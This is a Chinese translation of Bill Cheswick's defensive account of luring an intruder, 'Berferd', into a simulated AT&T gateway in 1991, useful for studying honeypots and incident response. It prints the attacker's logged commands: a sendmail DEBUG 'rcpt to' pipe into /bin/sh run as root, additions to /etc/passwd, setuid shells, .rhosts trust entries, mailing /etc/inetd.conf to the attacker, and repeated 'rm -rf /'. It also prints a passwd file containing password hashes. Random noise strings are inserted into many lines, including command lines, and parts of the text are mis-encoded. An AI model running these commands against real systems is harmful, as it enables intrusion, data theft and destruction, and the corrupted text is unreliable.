引誘、欺騙并研究一個黑客——陪伴berferd的一個夜晚

在1991年1月7號，一個黑客，他確信自己發(fā)現了我們的Internet網關計算機的sendmail的一個DUBUG漏洞的黑客，試圖獲得我們的password文件，我“送”給他了一份。
% [7 ?  d) Q3 A# @" F; ]在幾個月中，我們引誘這名黑客作各種快樂的嘗試，以便于我們發(fā)現他的位置和使用的破解技術。這篇文章是對該黑客的“成功”和失敗，我們使用的誘餌和陷阱的詳細記錄
我們的結論是我們所遇到的這個黑客擁有大量的時間，固執(zhí)異常，并持有一份優(yōu)秀的系統(tǒng)漏洞列表。一旦他獲得了系統(tǒng)的一個正式注冊身份，使用那些漏洞他可以輕易的攻破uucp和bin帳號，然后是root。我們的黑客對軍事目標和可以幫助他中轉其連接的新機器很感興趣。
6 w5 l7 |0 U, \1 C3 o! Z3 u簡介
& X9 L0 W9 ]8 ]6 ]) Z8 w* ~我們的安全Internet網關是1990年1月開始使用的。對于這個整個城堡的大門，我想知道它所可能遭到的攻擊會有多么頻繁。我明白Internet上有一些喜歡使用“暴力”的人，那么他們是誰？他們會攻擊什么地方？會多么頻繁？他們經常嘗試系統(tǒng)的那些漏洞？
% S' |! Y: _( m# }+ Q事實上，他們沒有對AT&T作出破壞，甚至很少光顧我們的這扇大門，那么，最終的樂趣只有如此，引誘一個黑客到一個我們設計好的環(huán)境中，記錄下來他的所有動作，研究其行為，并提醒他的下一個目標作出防范。
9 X4 F: _( |! G大多數Internet上的工作站很少提供工具來作這些事情，商業(yè)系統(tǒng)檢測并報告一些問題，但是它們忽略了很多我們想要的東西。我們的網關每天產生10兆的日志文件。但人們對于日志記錄以外的服務的攻擊呢？
& G2 Q: n& E+ k. g7 C我們添加了一些虛假的服務在系統(tǒng)上，同時我編寫了一個script文件用來檢索每天的日志。我們檢查以下幾點：
FTP ：檢索的工具會報告每天所有注冊和試圖注冊的用戶名。它還會報告用戶對tilde的使用（這是個老版本的ftp的漏洞）、所有對ftp目錄的/etc/passwd和/etc/group的存取以及對pub目錄下完整文件列表的獲取。獲取passwd的人通常用它來獲得系統(tǒng)的正式用戶的注冊名稱，然后攻擊、破解其密碼。有時有些系統(tǒng)的管理員會將系統(tǒng)的真實passwd文件放在ftp的/etc目錄下，我們偽造了一個passwd文件，它的密碼被破解后是“why are you wasting your time.”
+ A$ h6 S5 k  N& K6 `  q1 w; w$ ?Telnet / login ：所有試圖login的動作都被記錄了下來。這很容易就可以看出有些人在嘗試很多帳號，或強力攻擊某一個帳號。因為我們這個Internet的大門除了“警衛(wèi)”外沒有什么別的用戶，很容易就可以找到問題所在。
Guest / visitor 帳號：黑客們第一個尋找的就是公用帳號。這些帳號提供了友好的，最輕易的獲取幾乎系統(tǒng)的所有文件的機會，包括passwd文件。黑客也可以通過獲取/etc/hosts.equiv文件或每個用戶的.rhosts文件來獲得機器的信任主機列表。我們對于這些帳號的login script文件是這樣編寫的：
exec 2>/dev/null # ensure that stderr doesn't appear
3 S; E; Q) f4 G4 T1 D7 N6 |trap "" 1
/bin/echo
( /bin/echo "Attempt to login to inet with $LOGNAME from $CALLER" |
& ?7 d( p) u: N9 Q, a# vupasname=adm /bin/mail ches dangelo &
# (notify calling machine's administrator for some machines...)
# (finger the calling machine...)
) 2>&1 | mail ches dangelo
/bin/echo "/tmp full"
sleep 5 # I love to make them wait....
9 ?& }5 Q: s7 J* h9 @7 Y' Y/bin/echo "/tmp full"
1 j4 f$ Q; W! C' t" q8 O1 u/bin/echo "/tmp full"
/bin/echo
sleep 60 # ... and simulating a busy machine is useful
我們必須小心以便不讓調用者看到系統(tǒng)的標志出錯信息（如果一旦我們編寫的script有誤）。注意$CALLER是在另一端的主機或IP地址。通過修改telnetd或login，它將可以通過環(huán)境變量來獲取。
) J; k9 v* _$ x% e' r1 N9 TSMTP DEBUG : 這個命令提供了兩個守候sendmail的漏洞的陷阱。雖然幾乎所有的產品出售商都清除了這個漏洞，但偶爾仍有黑客嘗試它。這個漏洞允許外部的使用者使用一段以root權限執(zhí)行的script。當有些人嘗試這個漏洞時，我就獲得了他嘗試的script代碼。
Finger ：Finger提供了大量有用的信息給黑客：帳號名，該帳號的最后一次使用時間，以及一些可以用來猜測密碼的信息。由于我們的組織不允許提供這些信息給別人，我們置入了一個程序，在finger了fingerd的調用者后拒絕figner請求。（當然我們會避免對來自自己的finger信息的死循環(huán)）。報告表明每天有數以十計的finger請求，其中大部分是合法的。
Rlogin / rsh ：這些命令都是基于一些無條件信任的系統(tǒng)，我們的機器并不支持。但我們會finger使用這些命令的用戶，并將他的嘗試和用戶信息等生成報告。
上述很多探測器都使用figner命令來查明調用的機器和使用者。
0 t; n0 A2 c9 H' f* z- [當一個嘗試顯示為有不合法企圖時，我就發(fā)出這樣一條消息：
inetfans postmaster@sdsu.edu
Yesterday someone from math.sdsu.edu fetched the /etc/passwd file
( i2 w) G6 Q" h0 I8 Ifrom our FTP directory. The file is not important, but these probes
are sometimes performed from stolen accounts.
Just thought you'd like to know.
* Z  |0 Q% b$ k% N- \Bill Cheswick
這是一個典型的信件，它被發(fā)往“inetfans”，這些人屬于計算機緊急響應小組(Computer Emergency Response Team , CERT)、某些興趣小組或對某些站點感興趣的人。
6 {% }8 x$ c4 D- a3 r9 c/ Y很多系統(tǒng)管理員很重視這些報告，尤其是軍事站點。通常，系統(tǒng)管理員在解決這些問題上都非常合作。對這些信件的反應包括道歉，拒絕信件，關閉帳號以及沉默等等。當一個站點開來愿意支持黑客們的活動時，我們會考慮拒收來自該站的所有信息包。
不友好的行動
我們從1990年1月設置好這些探測器。統(tǒng)計表明被攻擊率在每年學校的假期期間會上升。我們的被攻擊率可能比其他站點高，因為我們是廣為人知的，并被認為是“電話公司”。
當一個遠程使用者取走passwd文件時，并不是所有的人都出于惡意的目的。有時他們只是想看看是否傳輸能正常工作。
19:43:10 smtpd[27466]: <--- 220 inet.att.com SMTP
19:43:14 smtpd[27466]: -------> debug
19:43:14 smtpd[27466]: DEBUG attempt
19:43:14 smtpd[27466]: <--- 200 OK
19:43:25 smtpd[27466]: -------> mail from:
: U/ G; Z- ~% D8 Z9 u19:43:25 smtpd[27466]: <--- 503 Expecting HELO
19:43:34 smtpd[27466]: -------> helo
) h: r4 F. A, C5 R% c: V! u; {19:43:34 smtpd[27466]: HELO from
19:43:34 smtpd[27466]: <--- 250 inet.att.com
! s/ @2 t' ?* _8 s; r( _$ V) ^8 q/ J19:43:42 smtpd[27466]: -------> mail from:
4 C% k) W3 h$ L0 @19:43:42 smtpd[27466]: <--- 250 OK
19:43:59 smtpd[27466]: -------> rcpt to: 19:43:59 smtpd[27466]: <--- 501 Syntax error in recipient name
19:44:44 smtpd[27466]: -------> rcpt to:<|sed -e '1,/?$/'d | /bin/sh ; exit 0">
, O& W& W+ D& {6 V* o7 n19:44:44 smtpd[27466]: shell characters: |sed -e '1,/?$/'d | /bin/sh ; exit 0"
19:44:45 smtpd[27466]: <--- 250 OK
19:44:48 smtpd[27466]: -------> data
$ t  ]/ |# E8 C9 K2 \: O+ f5 q  s19:44:48 smtpd[27466]: <--- 354 Start mail input; end with .
8 v+ @' H. u* [* K5 ?19:45:04 smtpd[27466]: <--- 250 OK
1 j8 f: b4 M, N+ U19:45:04 smtpd[27466]: /dev/null sent 48 bytes to upas.security
19:45:08 smtpd[27466]: -------> quit
19:45:08 smtpd[27466]: <--- 221 inet.att.com Terminating
19:45:08 smtpd[27466]: finished.
這是我們對SMTP過程的日志。這些看來很神秘的日志通常是有兩個郵件發(fā)送器來相互對話的。在這個例子中，另一端是由人來鍵入命令。他嘗試的第一個命令是DEBUG。當他接收的“250 OK”的回應時一定很驚奇。關鍵的行是“rcpt to :”。在尖括號括起的部分通常是一個郵件接收器的地址。這里它包含了一個命令行。Sendmail在DEBUG模式下用它來以ROOT身份執(zhí)行一段命令。即：
sed -e '1,/?$/'d | /bin/sh ; exit 0"
它剝去了郵件頭，并使用ROOT身份執(zhí)行了消息體。這段消息郵寄給了我，這是我記錄下來的，包含時間戳：
19:45 mail adrian@embezzle.stanford.edu 19:51 mail adrian@embezzle.stanford.edu 他希望我們郵寄給他一份我們的passwd文件。大概用來運行一些passwd破解程序。所有這些探測結果都來自EMBEZZLE.STANFORD.EDU的一個adrian用戶。他在美國空襲伊拉克半個小時后公然作出敵意反應。我懷疑是薩達姆雇傭了一兩個黑客。我恰巧在ftp的目錄下有一個假的passwd文件，就用root身份給Stanford發(fā)了過去。
3 L' d) Q' N7 _1 s% h& [第二個早晨，我聽到了來自Stanford的消息：他們知道了這件事，并正在發(fā)現問題所在。他們說adrian這個帳號被盜用了。
# S, m* m. p, p6 R接著的一個星期天我接到了從法國發(fā)來的一封信：
5 w1 w& v2 T' Z, _; ETo: root@research.att.com
" _5 z, o" E0 j. D& m6 ~2 ~Subject: intruder
Date: Sun, 20 Jan 91 15:02:53 +0100
2 M$ A8 P2 k& {/ eI have just closed an account on my machine
; s0 N; A- P6 t* v( @1 s. e9 Rwhich has been broken by an intruder coming from embezzle.stanford.edu. He
(she) has left a file called passwd. The contents are:
& Y# u" x7 s8 X# y------------>
From root@research.att.com Tue Jan 15 18:49:13 1991
, V& R/ N4 B) I8 gReceived: from research.att.com by embezzle.Stanford.EDU (5.61/4.7);
/ T, j& C, h! |Tue, 15 Jan 91 18:49:12 -0800
0 ~/ g  q: J  @1 l) dMessage-Id: <9101160249.AA26092@embezzle.Stanford.EDU>
From: root@research.att.com
Date: Tue, 15 Jan 91 21:48 EST
; r) k& n7 L# k4 iTo: adrian@embezzle.stanford.edu
! D8 g2 K0 Q; n2 fRoot: mgajqD9nOAVDw:0:2:0000-Admin(0000):/:
; R% m7 Q  w( R8 ~) ODaemon: *:1:1:0000-Admin(0000):/:
Bin: *:2:2:0000-Admin(0000):/bin:
1 ?% N' l9 z1 P" t9 uSys: *:3:3:0000-Admin(0000):/usr/v9/src:
$ g7 h+ m8 \3 W. g, U/ OAdm: *:4:4:0000-Admin(0000):/usr/adm:
Uucp: *:5:5:0000-uucp(0000):/usr/lib/uucp:
" g. {, `# [& Q+ |/ ^Nuucp: *:10:10:0000-uucp(0000):/usr/spool/uucppublic:/usr/lib/uucp/uucico
Ftp: anonymous:71:14:file transfer:/:no soap
8 |" q3 ]2 p1 m+ ^5 {Ches: j2PPWsiVal..Q:200:1:me:/u/ches:/bin/sh
Dmr: a98tVGlT7GiaM:202:1:Dennis:/u/dmr:/bin/sh
3 I& a. @% M# e2 p$ KRtm: 5bHD/k5k2mTTs:203:1:Rob:/u/rtm:/bin/sh
Berferd: deJCw4bQcNT3Y:204:1:Fred:/u/berferd:/bin/sh
Td: PXJ.d9CgZ9DmA:206:1:Tom:/u/td:/bin/sh
3 @+ D% }" ?3 i4 ~. fStatus: R
+ F# w2 I9 n! U' {------------Please let me know if you heard of him.
/ q& c. I1 ?; V. I  X8 o陪伴Berferd的一個夜晚
* y+ M  u. e7 D; g2 V% D1月20號，星期天晚上，我的終端報告有安全敏感事件。
6 S6 C9 S6 z# I22:33 finger attempt on berferd
幾分鐘后，有人試圖使用DEBUG來用ROOT身份執(zhí)行命令，他試圖修改我們的passwd文件！
) d0 X. f8 ]" i9 R22:36 echo "beferdd::300:1:maybe Beferd:/:/bin/sh" >>/etc/passwd
. H2 V9 J. I3 P4 l8 c4 [+ d' T% Ncp /bin/sh /tmp/shell
chmod 4755 /tmp/shell
( u: |& u% s0 T% }8 Q連接同樣來自EMBEZZLE.STANFORD.EDU。
我該怎么作呢？我不希望他真的能獲得一個網關的帳號，為什么引狼入室呢？那樣我將得不到他的鍵盤活動。
, V; o1 l6 L/ o7 h$ o8 z我應該繼續(xù)看看他關注的其他事情，或許我可以手工模擬一下操作系統(tǒng)，這意味著我必須讓他以為機器速度很慢，因為我無法和MIPS M/120相比。同時意味著我必須模擬一個一致的操作系統(tǒng)。
我已經有一個要求了，因為他已經持有了一份passwd。
  r" T) L# i1 u/ |決定一：ftp的passwd是一個真實的passwd。
還有另外的兩個：
決定二：網關機器管理極差。（有DEBUG漏洞，ftp目錄里有passwd）。
決定三：網關機器極慢。
因此我決定讓他以為他已經改變了passwd文件，但卻不急于讓他進來。我必須生成一個帳號，但卻使它不可操作。我應該怎么辦？
. w& N  I. S- q/ k* ~+ d2 x& C決定四：我的shell并沒有放在/bin下，它放在其他地方。這樣，他進來后（讓他認為passwd已經改動了），沒有可運行的shell。
* D# A  b7 s5 z1 s$ S這個決定很愚蠢，但我不會因此損失任何東西。我寫了一個script，生成了一個臨時帳號b，當它被調用時它會給我發(fā)信，調用者將看到如下信息：
+ |2 ]- }$ O! {) _+ M9 {" WRISC/os (inet)
( S3 _, k1 Q, @6 H" Ologin: b
" W" @7 v& R- q0 m0 CRISC/os (UMIPS) 4.0 inet
  h& ]# i; Z9 g! o0 u( m$ x) ~0 [' Y8 [9 Q( lCopyright 1986, MIPS Computer Systems
All Rights Reserved
: x' ?" \! q: z# V8 ]2 GShell not found
我把b帳號在實際passwd文件中改成了beferd，當我作完后，他在此嘗試：
22:41 echo "bferd ::301:1::/:/bin/sh" >> /etc/passwd
! Y8 ^$ }. l( ~0 C他的另一個試圖添加到passwd文件的嘗試。事實上，在我為bferd完成新的配置之前他開始急躁了：
" M% v+ ]0 L5 w0 [3 Z, F3 n0 P22:45 talk adrian@embezzle.stand?Hford.edu
+ a, H: H* Q8 x# b9 E5 gtalk adrian@embezzle.stanford.edu
決定五：我們沒有talk這個命令。
他選擇了berferd這個帳號：
( B4 T" j( w/ M22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU
22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU
22:49 Attempt to login to inet with bferd from embezzle.Stanford.EDU
; J3 c- q" [' p# Y1 C% d22:51 (Notified Stanford of the use of Tip-QuadA.Stanford.EDU)
22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU
8 ~. @, F! h/ R0 g. Y3 [8 [5 X22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU
22:55 echo "bfrd ::303:1::/tmp:/bin/sh" >> /etc/passwd
1 w1 ~( I7 X# G3 l# R7 k22:57 (Added bfrd to the real password file.)
22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
23:05 echo "36.92.0.205" >/dev/null
8 z) H6 D( Z  H4 l6 \% m2 uecho "36.92.0.205 embezzle.stanford.edu">>/etc./?H?H?H
23:06 Attempt to login to inet with guest from rice-chex.ai.mit.edu
3 J3 V, f1 ^" s4 n3 x* e- B23:06 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts
1 ^: z6 m% b9 b7 K- c23:08 echo "embezzle.stanford.edu adrian">>/tmp/.rhosts
很顯然他希望能夠rlogin到我們的網關，這需要一些本地文件的特定設置。我們并沒有作rlogin的檢測。
這時他又有新的動作：
  s% p( A5 ?  R8 z23:09 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
1 h2 Z2 Q9 D6 h; F2 S' T23:10 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
23:14 mail adrian@embezzle.stanford.edu < /etc/inetd.conf
ps -aux|mail adrian@embezzle.stanford.edu
& Y" f# E2 G/ E% {! a4 K* o  n; ~在rlogin失敗后，他希望能得到我們的inetd.conf文件來查看我們究竟啟動了什么服務。我不想讓他看到真正的inetd.conf，但偽造一個又非常困難。
決定七：網關機器運行不穩(wěn)定，時有不確定事件。
" H! C& _$ e+ ~2 m+ x: g23:28 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts
echo "embezzle.stanford.edu adrian" >> /tmp/.rhosts
9 B& d" M/ F' I% V/ x5 jps -aux|mail adrian@embezzle.stanford.edu
mail adrian@embezzle.stanford.edu < /etc/inetd.conf
& l% c) `* W  Z0 K; ~1 k6 R0 J我不希望他看到ps的結果，幸運的是，他的Berkeley系統(tǒng)的ps命令在我的System V機器上是無效的。
% B% e# [. m4 n2 T! \: x" ?這時我通知了CERT，這時一起嚴重的攻擊事件，在Stanford也應該有追蹤這些請求的人。這時，活動又轉到ftp上來：
Jan 20 23:36:48 inet ftpd[14437]: <--- 220 inet FTP server
(Version 4.265 Fri Feb 2 13:39:38 EST 1990) ready.
7 [- {  D! x$ Q! x, GJan 20 23:36:55 inet ftpd[14437]: -------> user bfrd?M
Jan 20 23:36:55 inet ftpd[14437]: <--- 331 Password required for bfrd.
Jan 20 23:37:06 inet ftpd[14437]: -------> pass?M
' H, g; U9 j) K" n: JJan 20 23:37:06 inet ftpd[14437]: <--- 500 'PASS': command not understood.
Jan 20 23:37:13 inet ftpd[14437]: -------> pass?M
Jan 20 23:37:13 inet ftpd[14437]: <--- 500 'PASS': command not understood.
Jan 20 23:37:24 inet ftpd[14437]: -------> HELP?M
, {' r; j, b% JJan 20 23:37:24 inet ftpd[14437]: <--- 214- The following commands are
recognized (* =>'s unimplemented).
Jan 20 23:37:24 inet ftpd[14437]: <--- 214 Direct comments to ftp-bugs@inet.
Jan 20 23:37:31 inet ftpd[14437]: -------> QUIT?M
# ]4 _* R8 d; O1 Z" A; h/ JJan 20 23:37:31 inet ftpd[14437]: <--- 221 Goodbye.
6 p5 s% \7 k$ \2 Z* k( r3 \" V9 UJan 20 23:37:31 inet ftpd[14437]: Logout, status 0
Jan 20 23:37:31 inet inetd[116]: exit 14437
Jan 20 23:37:41 inet inetd[116]: finger request from 36.92.0.205 pid 14454
Jan 20 23:37:41 inet inetd[116]: exit 14454
23:38 finger attempt on berferd
0 Y9 `: h; ^6 B' i) q23:48 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts.equiv
0 {* e6 T3 f1 A4 k6 z$ H2 h23:53 mv /usr/etc/fingerd /usr/etc/fingerd.b
6 H. y+ l) ^1 I, wcp /bin/sh /usr/etc/fingerd
+ J# w8 M( _+ h* D4 z% G. p決定四已經決定了最后一行的嘗試必然失敗。因此，他只是破壞了我們模擬的機器上的finger而已，并沒有將之替換成一個shell程序。我關閉了實際的fingerd程序。
23:57 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
( j) H4 L$ D. J( `. p: H23:58 cp /bin/csh /usr/etc/fingerd
我們模擬的機器上csh并不在/bin下，因此這個命令無效。
00:07 cp /usr/etc/fingerd.b /usr/etc/fingerd
好吧，fingerd現在重新開始工作。Berferd的恢復工作干的不錯。
6 L7 j& H2 r" x: u00:14 passwd bfrt
bfrt
bfrt
現在他試圖修改password，這永遠不會成功，因為passwd的輸入是/dev/tty，不是sendmail所執(zhí)行的shell script。
' j+ j3 A* S+ i) @00:16 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
00:17 echo "/bin/sh" > /tmp/Shell
chmod 755 /tmp/shell
chmod 755 /tmp/Shell
4 }, |, l5 r  z+ S* @$ S2 y00:19 chmod 4755 /tmp/shell
00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
2 Z6 R1 w) h+ d# Q00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
/ K; ~) ?& x( |" d& Q8 N00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
, d+ v" r  [9 o) d- D這時我已經很累了。
& ^( ^/ J- |  s2 z3 t$ \+ o. \01:55 rm -rf /&
喔?。√萘?！顯然機器的狀態(tài)讓他迷惑，他希望能清除所有的痕跡。有些黑客會保護自己所作的工作，聲明自己不作任何破壞。我們的黑客對我們感到疲勞了，因此以此結束。
他繼續(xù)工作了幾分鐘，后來放棄：
0 A. D, ~, R' D& P07:12 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
7 v( `- k, a+ T% x07:14 rm -rf /&
* x* v, t* T! D+ h07:17 finger attempt on berferd
( Z0 [9 D1 K) l1 }3 j1 i9 i07:19 /bin/rm -rf /&
/bin/rm -rf /&
0 A" H( o! s9 ~) J07:23 /bin/rm -rf /&
07:25 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
" j' ?& t! j' v/ m7 {1 N- A09:41 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
- O) s+ P0 M' o: O